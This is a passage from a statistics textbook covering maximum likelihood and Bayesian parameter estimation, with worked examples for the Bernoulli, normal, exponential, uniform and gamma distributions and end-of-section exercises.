$$f(x; p) = \begin{cases} p^x(1-p)^{1-x}, & x = 0, 1 \\ 0, & \text{otherwise} \end{cases}$$

where p is the parameter to be estimated. The likelihood function of a random sample of size n is

$$\begin{aligned} L(p) &= p^{x_1}(1-p)^{1-x_1} p^{x_2}(1-p)^{1-x_2} \cdots p^{x_n}(1-p)^{1-x_n} \\ &= \prod_{i=1}^{n} p^{x_i}(1-p)^{1-x_i} = p^{\sum_{i=1}^{n} x_i}(1-p)^{n-\sum_{i=1}^{n} x_i} \end{aligned}$$

We observe that if $\hat{p}$ maximizes $L(p)$, $\hat{p}$ also maximizes $\ln L(p)$. Therefore,

$$\ln L(p) = \left(\sum_{i=1}^{n} x_i\right) \ln p + \left(n - \sum_{i=1}^{n} x_i\right) \ln(1-p)$$

Now,

$$\frac{d \ln L(p)}{dp} = \frac{\sum_{i=1}^{n} x_i}{p} - \frac{\left(n - \sum_{i=1}^{n} x_i\right)}{1-p}$$

Equating this to zero and solving for p yields $\hat{p} = (1/n)\sum_{i=1}^{n} x_i$. Therefore, the maximum likelihood estimator of p is

$$\hat{P} = \frac{1}{n}\sum_{i=1}^{n} X_i$$

Suppose that this estimator was applied to the following situation: n items are selected at random from a production line, and each item is judged as either defective (in which case we set $x_i = 1$) or nondefective (in which case we set $x_i = 0$). Then $\sum_{i=1}^{n} x_i$ is the number of defective units in the sample, and $\hat{p}$ is the sample proportion defective. The parameter p is the population proportion defective, and it seems intuitively quite reasonable to use $\hat{p}$ as an estimate of p.

Although the interpretation of the likelihood function given above is confined to the discrete random variable case, the method of maximum likelihood can easily be extended to a continuous distribution. We now give two examples of maximum likelihood estimation for continuous distributions.

EXAMPLE 7-10 Normal Distribution MLE

Let X be normally distributed with unknown μ and known variance σ^2. The likelihood function of a random sample of size n, say $X_1, X_2, \ldots, X_n$, is

$$L(\mu) = \prod_{i=1}^{n} \frac{1}{\sigma\sqrt{2\pi}} e^{-(x_i-\mu)^2/(2\sigma^2)} = \frac{1}{(2\pi\sigma^2)^{n/2}} e^{\frac{-1}{2\sigma^2}\sum_{i=1}^{n}(x_i-\mu)^2}$$

Now,

$$\ln L(\mu) = -(n/2)\ln(2\pi\sigma^2) - (2\sigma^2)^{-1}\sum_{i=1}^{n}(x_i-\mu)^2$$

and

$$\frac{d\ln L(\mu)}{d\mu} = (\sigma^2)^{-1}\sum_{i=1}^{n}(x_i-\mu)$$

Equating this last result to zero and solving for μ yields

$$\hat{\mu} = \frac{\sum_{i=1}^{n} X_i}{n} = \overline{X}$$

Conclusion: The sample mean is the maximum likelihood estimator of μ. Notice that this is identical to the moment estimator.

EXAMPLE 7-11 Exponential Distribution MLE

Let X be exponentially distributed with parameter λ. The likelihood function of a random sample of size n, say, $X_1, X_2, \ldots, X_n$, is

$$L(\lambda) = \prod_{i=1}^{n} \lambda e^{-\lambda x_i} = \lambda^n e^{-\lambda\sum_{i=1}^{n} x_i}$$

The log likelihood is

$$\ln L(\lambda) = n\ln\lambda - \lambda\sum_{i=1}^{n} x_i$$

Now,

$$\frac{d\ln L(\lambda)}{d\lambda} = \frac{n}{\lambda} - \sum_{i=1}^{n} x_i$$

and upon equating this last result to zero we obtain

$$\hat{\lambda} = n/\sum_{i=1}^{n} X_i = 1/\overline{X}$$

Conclusion: Thus, the maximum likelihood estimator of λ is the reciprocal of the sample mean. Notice that this is the same as the moment estimator.

It is easy to illustrate graphically just how the method of maximum likelihood works. Figure 7-7(a) plots the log of the likelihood function for the exponential parameter from Example 7-11, using the $n = 8$ observations on failure time given following Example 7-6. It is common for the log likelihood function to be negative. We found that the estimate of λ was $\hat{\lambda} = 0.0462$. From Example 7-11, we know that this is a maximum likelihood estimate. Figure 7-7(a) shows clearly that the log likelihood function is maximized at a value of λ that is approximately equal to 0.0462. Notice that the log likelihood function is relatively flat in the region of the maximum. This implies that the parameter is not estimated very precisely. If the parameter were estimated precisely, the log likelihood function would be very peaked at the maximum value. The sample size here is relatively small, and this has led to the imprecision in estimation. This is illustrated in Fig. 7-7(b) where we have plotted the difference in log likelihoods for the maximum value, assuming that the sample sizes were $n = 8$, 20, and 40 but that the sample average time to failure remained constant at $\bar{x} = 21.65$. Notice how much steeper the log likelihood is for $n = 20$ in comparison to $n = 8$, and for $n = 40$ in comparison to both smaller sample sizes.

The method of maximum likelihood can be used in situations where there are several unknown parameters, say, $\theta_1, \theta_2, \ldots, \theta_k$ to estimate. In such cases, the likelihood function is a function of the k unknown parameters $\theta_1, \theta_2, \ldots, \theta_k$, and the maximum likelihood estimators $\{\hat{\Theta}_i\}$

Figure 7-7 Log likelihood for the exponential distribution, using the failure time data. (a) Log likelihood with $n = 8$ (original data). (b) Log likelihood if $n = 8$, 20, and 40.

would be found by equating the k partial derivatives $\partial L(\theta_1, \theta_2, \ldots, \theta_k)/\partial\theta_i$, $i = 1, 2, \ldots, k$ to zero and solving the resulting system of equations.

EXAMPLE 7-12 **Normal Distribution MLEs for μ and σ^2**

Let X be normally distributed with mean μ and variance σ^2, where both μ and σ^2 are unknown. The likelihood function for a random sample of size n is

$$L(\mu, \sigma^2) = \prod_{i=1}^{n} \frac{1}{\sigma\sqrt{2\pi}} e^{-(x_i-\mu)^2/(2\sigma^2)}$$

$$= \frac{1}{(2\pi\sigma^2)^{n/2}} e^{\frac{-1}{2\sigma^2}\sum_{i=1}^{n}(x_i-\mu)^2}$$

and

$$\ln L(\mu, \sigma^2) = -\frac{n}{2}\ln(2\pi\sigma^2) - \frac{1}{2\sigma^2}\sum_{i=1}^{n}(x_i - \mu)^2$$

Now,

$$\frac{\partial \ln L(\mu, \sigma^2)}{\partial\mu} = \frac{1}{\sigma^2}\sum_{i=1}^{n}(x_i - \mu) = 0$$

$$\frac{\partial \ln L(\mu, \sigma^2)}{\partial(\sigma^2)} = -\frac{n}{2\sigma^2} + \frac{1}{2\sigma^4}\sum_{i=1}^{n}(x_i - \mu)^2 = 0$$

The solutions to the above equations yield the maximum likelihood estimators

$$\hat{\mu} = \overline{X} \qquad \hat{\sigma}^2 = \frac{1}{n}\sum_{i=1}^{n}(X_i - \overline{X})^2$$

Conclusion: Once again, the maximum likelihood estimators are equal to the moment estimators.

Properties of the Maximum Likelihood Estimator

The method of maximum likelihood is often the estimation method that mathematical statisticians prefer, because it produces estimators with good statistical properties. We summarize these properties as follows.

Properties of a Maximum Likelihood Estimator

Under very general and not restrictive conditions, when the sample size n is large and if $\hat{\Theta}$ is the maximum likelihood estimator of the parameter θ,

(1) $\hat{\Theta}$ is an approximately unbiased estimator for θ $[E(\hat{\Theta}) \simeq \theta]$,

(2) the variance of $\hat{\Theta}$ is nearly as small as the variance that could be obtained with any other estimator, and

(3) $\hat{\Theta}$ has an approximate normal distribution.

Properties 1 and 2 essentially state that the maximum likelihood estimator is approximately an MVUE. This is a very desirable result and, coupled with the fact that it is fairly easy to obtain in many situations and has an asymptotic normal distribution (the "asymptotic" means "when n is large"), explains why the maximum likelihood estimation technique is widely used. To use maximum likelihood estimation, remember that the distribution of the population must be either known or assumed.

To illustrate the "large-sample" or asymptotic nature of the above properties, consider the maximum likelihood estimator for σ^2, the variance of the normal distribution, in Example 7-12. It is easy to show that

$$E(\hat{\sigma}^2) = \frac{n-1}{n}\sigma^2$$

The bias is

$$E(\hat{\sigma}^2) - \sigma^2 = \frac{n-1}{n}\sigma^2 - \sigma^2 = \frac{-\sigma^2}{n}$$

Because the bias is negative, $\hat{\sigma}^2$ tends to underestimate the true variance σ^2. Note that the bias approaches zero as n increases. Therefore, $\hat{\sigma}^2$ is an asymptotically unbiased estimator for σ^2.

We now give another very important and useful property of maximum likelihood estimators.

Invariance Property

Let $\hat{\Theta}_1, \hat{\Theta}_2, \ldots, \hat{\Theta}_k$ be the maximum likelihood estimators of the parameters $\theta_1, \theta_2, \ldots, \theta_k$. Then the maximum likelihood estimator of any function $h(\theta_1, \theta_2, \ldots, \theta_k)$ of these parameters is the same function $h(\hat{\Theta}_1, \hat{\Theta}_2, \ldots, \hat{\Theta}_k)$ of the estimators $\hat{\Theta}_1, \hat{\Theta}_2, \ldots, \hat{\Theta}_k$.

EXAMPLE 7-13

In the normal distribution case, the maximum likelihood estimators of μ and σ^2 were $\hat{\mu} = \overline{X}$ and $\hat{\sigma}^2 = \sum_{i=1}^{n}(X_i - \overline{X})^2/n$. To obtain the maximum likelihood estimator of the function $h(\mu, \sigma^2) = \sqrt{\sigma^2} = \sigma$, substitute the estimators $\hat{\mu}$ and $\hat{\sigma}^2$ into the function h, which yields

$$\hat{\sigma} = \sqrt{\hat{\sigma}^2} = \left[\frac{1}{n}\sum_{i=1}^{n}(X_i - \overline{X})^2\right]^{1/2}$$

Conclusion: The maximum likelihood estimator of the standard deviation σ is *not* the sample standard deviation S.

Complications in Using Maximum Likelihood Estimation

While the method of maximum likelihood is an excellent technique, sometimes complications arise in its use. For example, it is not always easy to maximize the likelihood function because the equation(s) obtained from $dL(\theta)/d\theta = 0$ may be difficult to solve. Furthermore, it may not always be possible to use calculus methods directly to determine the maximum of $L(\theta)$. These points are illustrated in the following two examples.

EXAMPLE 7-14 Uniform Distribution MLE

Let X be uniformly distributed on the interval 0 to a. Since the density function is $f(x) = 1/a$ for $0 \le x \le a$ and zero otherwise, the likelihood function of a random sample of size n is

$$L(a) = \prod_{i=1}^{n}\frac{1}{a} = \frac{1}{a^n}$$

for

$$0 \le x_1 \le a, 0 \le x_2 \le a, \ldots, 0 \le x_n \le a$$

Note that the slope of this function is not zero anywhere. That is, as long as $\max(x_i) \le a$, the likelihood is $1/a^n$, which is positive, but when $a < \max(x_i)$, the likelihood goes to zero, as illustrated in Fig. 7-8. Therefore, calculus methods cannot be used directly because the maximum value of the likelihood function occurs at a point of discontinuity. However, since $d/da(a^{-n}) = -n/a^{n+1}$ is less than zero for all values of $a > 0$, a^{-n} is a decreasing function of a. This implies that the maximum of the likelihood function $L(a)$ occurs at the lower boundary

Figure 7-8 The likelihood function for the uniform distribution in Example 7-14.

point. The figure clearly shows that we could maximize $L(a)$ by setting $\hat{a}$ equal to the smallest value that it could logically take on, which is $\max(x_i)$. Clearly, a cannot be smaller than the largest sample observation, so setting $\hat{a}$ equal to the largest sample value is reasonable.

EXAMPLE 7-15 Gamma Distribution MLE

Let $X_1, X_2, \ldots, X_n$ be a random sample from the gamma distribution. The log of the likelihood function is

$$\ln L(r, \lambda) = \ln\left(\prod_{i=1}^{n} \frac{\lambda^r x_i^{r-1} e^{-\lambda x_i}}{\Gamma(r)}\right)$$
$$= nr\ln(\lambda) + (r-1)\sum_{i=1}^{n}\ln(x_i)$$
$$- n\ln[\Gamma(r)] - \lambda\sum_{i=1}^{n} x_i$$

The derivatives of the log likelihood are

$$\frac{\partial \ln L(r, \lambda)}{\partial r} = n\ln(\lambda) + \sum_{i=1}^{n}\ln(x_i) - n\frac{\Gamma'(r)}{\Gamma(r)}$$
$$\frac{\partial \ln L(r, \lambda)}{\partial \lambda} = \frac{nr}{\lambda} - \sum_{i=1}^{n} x_i$$

When the derivatives are equated to zero, we obtain the equations that must be solved to find the maximum likelihood estimators of r and λ:

$$\hat{\lambda} = \frac{\hat{r}}{\bar{x}}$$
$$n\ln(\hat{\lambda}) + \sum_{i=1}^{n}\ln(x_i) = n\frac{\Gamma'(\hat{r})}{\Gamma(\hat{r})}$$

There is no closed form solution to these equations.

Figure 7-9 shows a graph of the log likelihood for the gamma distribution using the $n = 8$ observations on failure time introduced previously. Figure 7-9(a) shows the **log likelihood surface** as a function of r and λ, and Figure 7-9(b) is a **contour plot.** These plots reveal that the log likelihood is maximized at approximately $\hat{r} = 1.75$ and $\hat{\lambda} = 0.08$. Many statistics computer programs use numerical techniques to solve for the maximum likelihood estimates when no simple solution exists.

Figure 7-9 Log likelihood for the gamma distribution using the failure time data. (a) Log likelihood surface. (b) Contour plot.

7-4.3 Bayesian Estimation of Parameters

This book uses methods of statistical inference based on the information in the sample data. In effect, these methods interpret probabilities as relative frequencies. Sometimes we call probabilities that are interpreted in this manner **objective probabilities.** There is another approach to statistical inference, called the **Bayesian** approach, that combines sample information with other information that may be available prior to collecting the sample. In this section we briefly illustrate how this approach may be used in parameter estimation.

Suppose that the random variable X has a probability distribution that is a function of one parameter θ. We will write this probability distribution as $f(x \mid \theta)$. This notation implies that the exact form of the distribution of X is conditional on the value assigned to θ. The classical approach to estimation would consist of taking a random sample of size n from this distribution and then substituting the sample values x_i into the estimator for θ. This estimator could have been developed using the maximum likelihood approach, for example.

Suppose that we have some additional information about θ and that we can summarize that information in the form of a probability distribution for θ, say, $f(\theta)$. This probability distribution is often called the **prior distribution** for θ, and suppose that the mean of the prior is μ_0 and the variance is σ_0^2. This is a very novel concept insofar as the rest of this book is concerned because we are now viewing the parameter θ as a random variable. The probabilities associated with the prior distribution are often called **subjective probabilities,** in that they usually reflect the analyst's degree of belief regarding the true value of θ. The Bayesian approach to estimation uses the prior distribution for θ, $f(\theta)$, and the joint probability distribution of the sample, say, $f(x_1, x_2, \ldots, x_n \mid \theta)$, to find a **posterior distribution** for θ, say, $f(\theta \mid x_1, x_2, \ldots, x_n)$. This posterior distribution contains information from both the sample and the prior distribution for θ. In a sense, it expresses our degree of belief regarding the true value of θ after observing the sample data. It is easy conceptually to find the posterior distribution. The joint probability distribution of the sample $X_1, X_2, \ldots, X_n$ and the parameter θ (remember that θ is a random variable) is

$$f(x_1, x_2, \ldots, x_n, \theta) = f(x_1, x_2, \ldots, x_n \mid \theta)\, f(\theta)$$

and the marginal distribution of $X_1, X_2, \ldots, X_n$ is

$$f(x_1, x_2, \ldots, x_n) = \begin{cases} \displaystyle\sum_{\theta} f(x_1, x_2, \ldots, x_n, \theta), & \theta \text{ discrete} \\ \displaystyle\int_{-\infty}^{\infty} f(x_1, x_2, \ldots, x_n, \theta)\, d\theta, & \theta \text{ continuous} \end{cases}$$

Therefore, the desired distribution is

$$f(\theta \mid x_1, x_2, \ldots, x_n) = \frac{f(x_1, x_2, \ldots, x_n, \theta)}{f(x_1, x_2, \ldots, x_n)}$$

We define the **Bayes estimator** of θ as the value $\tilde{\theta}$ that corresponds to the mean of the posterior distribution $f(\theta \mid x_1, x_2, \ldots, x_n)$.

Sometimes, the mean of the posterior distribution of θ can be determined easily. As a function of θ, $f(\theta \mid x_1, \ldots, x_n)$ is a probability density function and $x_1, \ldots, x_n$ are just constants.

Because θ enters into $f(\theta \mid x_1, \ldots, x_n)$ only through $f(x_1, \ldots, x_n, \theta)$ if $f(x_1, \ldots, x_n, \theta)$, as a function of θ is recognized as a well-known probability function, the posterior mean of θ can be deduced from the well-known distribution without integration or even calculation of $f(x_1, \ldots, x_n)$.

EXAMPLE 7-16 Bayes Estimator for the Mean of a Normal Distribution

Let $X_1, X_2, \ldots, X_n$ be a random sample from the normal distribution with mean μ and variance σ^2, where μ is unknown and σ^2 is known. Assume that the prior distribution for μ is normal with mean μ_0 and variance σ_0^2; that is,

$$f(\mu) = \frac{1}{\sqrt{2\pi}\sigma_0} e^{-(\mu-\mu_0)^2/(2\sigma_0^2)} = \frac{1}{\sqrt{2\pi}\sigma_0^2} e^{-(\mu^2 - 2\mu_0\mu + \mu_0^2)/(2\sigma_0^2)}$$

The joint probability distribution of the sample is

$$f(x_1, x_2, \ldots, x_n \mid \mu) = \frac{1}{(2\pi\sigma^2)^{n/2}} e^{-(1/2\sigma^2)\sum_{i=1}^{n}(x_i-\mu)^2}$$

$$= \frac{1}{(2\pi\sigma^2)^{n/2}} e^{-(1/2\sigma^2)(\sum x_i^2 - 2\mu\sum x_i + n\mu^2)}$$

Thus, the joint probability distribution of the sample and μ is

$$f(x_1, x_2, \ldots, x_n, \mu) = \frac{1}{(2\pi\sigma^2)^{n/2}\sqrt{2\pi}\sigma_0} \times e^{-(1/2)[(1/\sigma_0^2 + n/\sigma^2)\mu^2 - (2\mu_0/\sigma_0^2 + 2\sum x_i/\sigma^2)\mu + \sum x_i^2/\sigma^2 + \mu_0^2/\sigma_0^2]}$$

$$= e^{-(1/2)\left[\left(\frac{1}{\sigma_0^2} + \frac{1}{\sigma^2/n}\right)\mu^2 - 2\left(\frac{\mu_0}{\sigma_0^2} + \frac{\bar{x}}{\sigma^2/n}\right)\mu\right]} h_1(x_1, \ldots, x_n, \sigma^2, \mu_0, \sigma_0^2)$$

Upon completing the square in the exponent,

$$f(x_1, x_2, \ldots, x_n, \mu) = e^{-(1/2)\left(\frac{1}{\sigma_0^2} + \frac{1}{\sigma^2/n}\right)\left[\mu^2 - \left(\frac{(\sigma^2/n)\mu_0}{\sigma_0^2 + \sigma^2/n} + \frac{\bar{x}\sigma_0^2}{\sigma_0^2 + \sigma^2/n}\right)\right]^2} \times h_2(x_1, \ldots, x_n, \sigma^2, \mu_0, \sigma_0^2)$$

where $h_i(x_1, \ldots, x_n, \sigma^2, \mu_0, \sigma_0^2)$ is a function of the observed values and the parameters σ^2, μ_0, and σ_0^2.

Now, because $f(x_1, \ldots, x_n)$ does not depend on μ,

$$f(\mu \mid x_1, \ldots, x_n) = e^{-(1/2)\left(\frac{1}{\sigma_0^2} + \frac{1}{\sigma^2/n}\right)\left[\mu^2 - \left(\frac{(\sigma^2/n)\mu_0 + \sigma_0^2\bar{x}}{\sigma_0^2 + \sigma^2/n}\right)\right]} \times h_3(x_1, \ldots, x_n, \sigma^2, \mu_0, \sigma_0^2)$$

This is recognized as a normal probability density function with posterior mean

$$\frac{(\sigma^2/n)\mu_0 + \sigma_0^2\bar{x}}{\sigma_0^2 + \sigma^2/n}$$

and posterior variance

$$\left(\frac{1}{\sigma_0^2} + \frac{1}{\sigma^2/n}\right)^{-1} = \frac{\sigma_0^2(\sigma^2/n)}{\sigma_0^2 + \sigma^2/n}$$

Consequently, the Bayes estimate of μ is a weighted average of μ_0 and $\bar{x}$. For purposes of comparison, note that the maximum likelihood estimate of μ is $\hat{\mu} = \bar{x}$.

To illustrate, suppose that we have a sample of size $n = 10$ from a normal distribution with unknown mean μ and variance $\sigma^2 = 4$. Assume that the prior distribution for μ is normal with mean $\mu_0 = 0$ and variance $\sigma_0^2 = 1$. If the sample mean is 0.75, the Bayes estimate of μ is

$$\frac{(4/10)0 + 1(0.75)}{1 + (4/10)} = \frac{0.75}{1.4} = 0.536$$

Conclusion: Note that the maximum likelihood estimate of μ is $\bar{x} = 0.75$. The Bayes estimate is between the maximum likelihood estimate and the prior mean.

There is a relationship between the Bayes estimator for a parameter and the maximum likelihood estimator of the same parameter. For large sample sizes, the two are nearly equivalent. In general, the difference between the two estimators is small compared to $1/\sqrt{n}$. In practical problems, a moderate sample size will produce approximately the same estimate by either the Bayes or maximum likelihood method, if the sample results are consistent with the assumed prior information. If the sample results are inconsistent with the prior assumptions, the Bayes estimate may differ considerably from the maximum likelihood estimate. In these circumstances, if the sample results are accepted as being correct, the prior information must be incorrect. The maximum likelihood estimate would then be the better estimate to use.

If the sample results are very different from the prior information, the Bayes estimator will always tend to produce an estimate that is between the maximum likelihood estimate and the prior assumptions. If there is more inconsistency between the prior information and the sample, there will be more difference between the two estimates.

EXERCISES FOR SECTION 7-4

7-34. Let X be a geometric random variable with parameter p. Find the maximum likelihood estimator of p, based on a random sample of size n.

7-35. Consider the Poisson distribution with parameter λ. Find the maximum likelihood estimator of λ, based on a random sample of size n.

7-36. Let X be a random variable with the following probability distribution:

$$f(x) = \begin{cases} (\theta + 1)x^{\theta}, & 0 \le x \le 1 \\ 0 \quad , & \text{otherwise} \end{cases}$$

Find the maximum likelihood estimator of θ, based on a random sample of size n.

7-37. Consider the shifted exponential distribution

$$f(x) = \lambda e^{-\lambda(x-\theta)}, \qquad x \ge \theta$$

When $\theta = 0$, this density reduces to the usual exponential distribution. When $\theta > 0$, there is only positive probability to the right of θ.

(a) Find the maximum likelihood estimator of λ and θ, based on a random sample of size n.

(b) Describe a practical situation in which one would suspect that the shifted exponential distribution is a plausible model.

7-38. Consider the probability density function

$$f(x) = \frac{1}{\theta^2} x e^{-x/\theta}, \qquad 0 \le x < \infty, \quad 0 < \theta < \infty$$

Find the maximum likelihood estimator for θ.

7-39. Let $X_1, X_2, \ldots, X_n$ be uniformly distributed on the interval 0 to a. Show that the moment estimator of a is $\hat{a} = 2\overline{X}$. Is this an unbiased estimator? Discuss the reasonableness of this estimator.

7-40. Consider the probability density function

$$f(x) = c(1 + \theta x), \quad -1 \le x \le 1$$

(a) Find the value of the constant c.

(b) What is the moment estimator for θ?

(c) Show that $\hat{\theta} = 3\overline{X}$ is an unbiased estimator for θ.

(d) Find the maximum likelihood estimator for θ.

7-41. The Rayleigh distribution has probability density function

$$f(x) = \frac{x}{\theta} e^{-x^2/2\theta}, \qquad x > 0, \qquad 0 < \theta < \infty$$

(a) It can be shown that $E(X^2) = 2\theta$. Use this information to construct an unbiased estimator for θ.

(b) Find the maximum likelihood estimator of θ. Compare your answer to part (a).

(c) Use the invariance property of the maximum likelihood estimator to find the maximum likelihood estimator of the median of the Raleigh distribution.

7-42. Let $X_1, X_2, \ldots, X_n$ be uniformly distributed on the interval 0 to a. Recall that the maximum likelihood estimator of a is $\hat{a} = \max(X_i)$.

(a) Argue intuitively why $\hat{a}$ cannot be an unbiased estimator for a.

(b) Suppose that $E(\hat{a}) = na/(n + 1)$. Is it reasonable that $\hat{a}$ consistently underestimates a? Show that the bias in the estimator approaches zero as n gets large.

(c) Propose an unbiased estimator for a.

(d) Let $Y = \max(X_i)$. Use the fact that $Y \le y$ if and only if each $X_i \le y$ to derive the cumulative distribution function of Y. Then show that the probability density function of Y is

$$f(y) = \begin{cases} \dfrac{ny^{n-1}}{a^n}, & 0 \le y \le a \\ 0 \quad , & \text{otherwise} \end{cases}$$

Use this result to show that the maximum likelihood estimator for a is biased.

(e) We have two unbiased estimators for a: the moment estimator $\hat{a}_1 = 2\overline{X}$ and $\hat{a}_2 = [(n + 1)/n]\max(X_i)$, where $\max(X_i)$ is the largest observation in a random sample of size n. It can be shown that $V(\hat{a}_1) = a^2/(3n)$ and that $V(\hat{a}_2) = a^2/[n(n + 2)]$. Show that if $n > 1$, $\hat{a}_2$ is a better estimator than $\hat{a}$. In what sense is it a better estimator of a?

7-43. Consider the Weibull distribution

$$f(x) = \begin{cases} \dfrac{\beta}{\delta}\left(\dfrac{x}{\delta}\right)^{\beta-1} e^{-\left(\frac{x}{\delta}\right)^{\beta}}, & 0 < x \\ 0 \quad , & \text{otherwise} \end{cases}$$

(a) Find the likelihood function based on a random sample of size n. Find the log likelihood.

(b) Show that the log likelihood is maximized by solving the equations

$$\beta = \left[\frac{\sum_{i=1}^{n} x_i^{\beta} \ln(x_i)}{\sum_{i=1}^{n} x_i^{\beta}} - \frac{\sum_{i=1}^{n} \ln(x_i)}{n} \right]^{-1}$$

$$\delta = \left[\frac{\sum_{i=1}^{n} x_i^{\beta}}{n} \right]^{1/\beta}$$

(c) What complications are involved in solving the two equations in part (b)?

7-44. Reconsider the oxide thickness data in Exercise 7-29 and suppose that it is reasonable to assume that oxide thickness is normally distributed.

(a) Compute the maximum likelihood estimates of μ and σ^2.

(b) Graph the likelihood function in the vicinity of $\hat{\mu}$ and $\hat{\sigma}^2$, the maximum likelihood estimates, and comment on its shape.

(c) Suppose that the sample size was larger ($n = 40$) but the maximum likelihood estimates were numerically equal to the values obtained in part (a). Graph the likelihood function for $n = 40$, compare it to the one from part (b), and comment on the effect of the larger sample size.

7-45. Suppose that X is a normal random variable with unknown mean μ and known variance σ^2. The prior distribution for μ is a normal distribution with mean μ_0 and variance σ_0^2. Show that the Bayes estimator for μ becomes the maximum likelihood estimator when the sample size n is large.

7-46. Suppose that X is a normal random variable with unknown mean μ and known variance σ^2. The prior distribution for μ is a uniform distribution defined over the interval $[a, b]$.

(a) Find the posterior distribution for μ.

(b) Find the Bayes estimator for μ.

7-47. Suppose that X is a Poisson random variable with parameter λ. Let the prior distribution for λ be a gamma distribution with parameters $m + 1$ and $(m + 1)/\lambda_0$.

(a) Find the posterior distribution for λ.

(b) Find the Bayes estimator for λ.

7-48. Suppose that X is a normal random variable with unknown mean and known variance $\sigma^2 = 9$. The prior distribution for μ is normal with $\mu_0 = 4$ and $\sigma_0^2 = 1$. A random sample of $n = 25$ observations is taken, and the sample mean is $\bar{x} = 4.85$.

(a) Find the Bayes estimate of μ.

(b) Compare the Bayes estimate with the maximum likelihood estimate.

7-49. The weight of boxes of candy is a normal random variable with mean μ and variance 1/10 pound. The prior distribution for μ is normal, with mean 5.03 pound and variance 1/25 pound. A random sample of 10 boxes gives a sample mean of $\bar{x} = 5.05$ pounds.

(a) Find the Bayes estimate of μ.

(b) Compare the Bayes estimate with the maximum likelihood estimate.

7-50. The time between failures of a machine has an exponential distribution with parameter λ. Suppose that the prior distribution for λ is exponential with mean 100 hours. Two machines are observed, and the average time between failures is $\bar{x} = 1125$ hours.

(a) Find the Bayes estimate for λ.

(b) What proportion of the machines do you think will fail before 1000 hours?

Supplemental Exercises

7-51. Transistors have a life that is exponentially distributed with parameter λ. A random sample of n transistors is taken. What is the joint probability density function of the sample?

7-52. Suppose that a random variable is normally distributed with mean μ and variance σ^2, and we draw a random sample of five observations from this distribution. What is the joint probability density function of the sample?

7-53. Suppose that X is uniformly distributed on the interval from 0 to 1. Consider a random sample of size 4 from X. What is the joint probability density function of the sample?

7-54. A procurement specialist has purchased 25 resistors from vendor 1 and 30 resistors from vendor 2. Let $X_{1,1}, X_{1,2}, \ldots, X_{1,25}$ represent the vendor 1 observed resistances, which are assumed to be normally and independently distributed with mean 100 ohms and standard deviation 1.5 ohms. Similarly, let $X_{2,1}, X_{2,2}, \ldots, X_{2,30}$ represent the vendor 2 observed resistances, which are assumed to be normally and independently distributed with mean 105 ohms and standard deviation of 2.0 ohms. What is the sampling distribution of $\bar{X}_1 - \bar{X}_2$? What is the standard error of $\bar{X}_1 - \bar{X}_2$?

7-55. A random sample of 36 observations has been drawn from a normal distribution with mean 50 and standard deviation 12. Find the probability that the sample mean is in the interval $47 \le \bar{X} \le 53$. Is the assumption of normality important? Why?

7-56. A random sample of $n = 9$ structural elements is tested for compressive strength. We know that the true mean compressive strength $\mu = 5500$ psi and the standard deviation is $\sigma = 100$ psi. Find the probability that the sample mean compressive strength exceeds 4985 psi.

7-57. A normal population has a known mean 50 and known variance $\sigma^2 = 2$. A random sample of $n = 16$ is selected from this population, and the sample mean is $\bar{x} = 52$. How unusual is this result?

7-58. A random sample of size $n = 16$ is taken from a normal population with $\mu = 40$ and $\sigma^2 = 5$. Find the probability that the sample mean is less than or equal to 37.

7-59. A manufacturer of semiconductor devices takes a random sample of 100 chips and tests them, classifying each chip as defective or nondefective. Let $X_i = 0$ if the chip is nondefective and $X_i = 1$ if the chip is defective. The sample fraction defective is

$$\hat{P} = \frac{X_1 + X_2 + \cdots + X_{100}}{100}$$

What is the sampling distribution of the random variable $\hat{P}$?

7-60. Let X be a random variable with mean μ and variance σ^2. Given two independent random samples of sizes n_1 and n_2, with sample means $\overline{X}_1$ and $\overline{X}_2$, show that

$$\overline{X} = a\overline{X}_1 + (1 - a)\overline{X}_2, \quad 0 < a < 1$$

is an unbiased estimator for μ. If $\overline{X}_1$ and $\overline{X}_2$ are independent, find the value of a that minimizes the standard error of $\overline{X}$.

7-61. A random variable x has probability density function

$$f(x) = \frac{1}{2\theta^3} x^2 e^{-x/\theta}, \qquad 0 < x < \infty, \quad 0 < \theta < \infty$$

Find the maximum likelihood estimator for θ.

7-62. Let $f(x) = \theta x^{\theta - 1}$, $0 < \theta < \infty$, and $0 < x < 1$. Show that $\hat{\Theta} = -n/(\ln \prod_{i=1}^{n} X_i)$ is the maximum likelihood estimator for θ.

7-63. Let $f(x) = (1/\theta)x^{(1-\theta)/\theta}$, $0 < x < 1$, and $0 < \theta < \infty$. Show that $\hat{\Theta} = -(1/n)\sum_{i=1}^{n} \ln(X_i)$ is the maximum likelihood estimator for θ and that $\hat{\Theta}$ is an unbiased estimator for θ.

7-64. You plan to use a rod to lay out a square, each side of which is the length of the rod. The length of the rod is μ, which is unknown. You are interested in estimating the area of the square, which is μ^2. Because μ is unknown, you measure it n times, obtaining observations $X_1, X_2, \ldots, X_n$. Suppose that each measurement is unbiased for μ with variance σ^2.

(a) Show that $\overline{X}^2$ is a biased estimate of the area of the square.

(b) Suggest an estimator that is unbiased.

7-65. An electric utility has placed special meters on 10 houses in a subdivision that measures the energy consumed (demand) at each hour of the day. They are interested in the energy demand at one specific hour, the hour at which the system experiences the peak consumption. The data from these 10 meters are as follows (in KW): 23.1, 15.6, 17.4, 20.1, 19.8, 26.4, 25.1, 20.5, 21.9, and 28.7. If μ is the true mean peak demand for the ten houses in this group of houses having the special meters, estimate μ. Now suppose that the utility wants to estimate the demand at the peak hour for all 5,000 houses in this subdivision. Let θ be this quantity. Estimate θ using the data given above. Estimate the proportion of houses in the subdivision that demand at least 20KW at the hour of system peak.

MIND-EXPANDING EXERCISES

7-66. A lot consists of N transistors, and of these, M ($M \leq N$) are defective. We randomly select two transistors without replacement from this lot and determine whether they are defective or nondefective. The random variable

$$X_i = \begin{cases} 1, & \text{if the } i\text{th transistor is nondefective} \\ 0, & \text{if the } i\text{th transistor is defective} \end{cases} \qquad i = 1, 2$$

Determine the joint probability function for X_1 and X_2. What are the marginal probability functions for X_1 and X_2? Are X_1 and X_2 independent random variables?

7-67. When the sample standard deviation is based on a random sample of size n from a normal population, it can be shown that S is a biased estimator for σ. Specifically,

$$E(S) = \sigma\sqrt{2/(n-1)}\,\Gamma(n/2)/\Gamma[(n-1)/2]$$

(a) Use this result to obtain an unbiased estimator for σ of the form $c_n S$, when the constant c_n depends on the sample size n.

(b) Find the value of c_n for $n = 10$ and $n = 25$. Generally, how well does S perform as an estimator of σ for large n with respect to bias?

